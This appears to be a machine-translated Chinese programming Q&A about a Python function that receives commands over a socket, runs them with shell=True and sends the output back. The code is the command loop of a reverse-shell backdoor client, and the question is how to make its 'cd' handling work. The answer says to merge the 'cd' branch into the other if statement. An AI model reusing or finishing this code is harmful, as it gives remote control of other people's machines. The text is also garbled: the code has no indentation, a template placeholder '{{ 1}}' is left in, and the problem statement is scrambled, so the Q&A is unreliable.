def receive_commands():
global s
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
#print(str(os.getcwd()) + char + data[3:].decode("utf-8"))
os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))
s.send(str.encode(os.getcwd()))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
#s.send(str.encode(output_str + str(os.getcwd()) + '> '))
s.send(str.encode(output_str))
print(output_str)
s.close()
问题出在os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))
上。就我而言,我有一个文件夹:/root/Desktop/Everything
。当os.getcwd()
为/root/Desktop
且char为/
且data[3:].decode("utf-8")
为Everything
时,命令os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))
不起作用并抛出错误:{{ 1}}。我不理解认为/bin/sh: 1: cd: can't cd to Everything
等同于os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))
。
在Kali linux上使用python 3。
答案 0 :(得分:0)
子进程也在尝试更改目录,所以我将'cd'if语句集成到另一个语句中来修复它。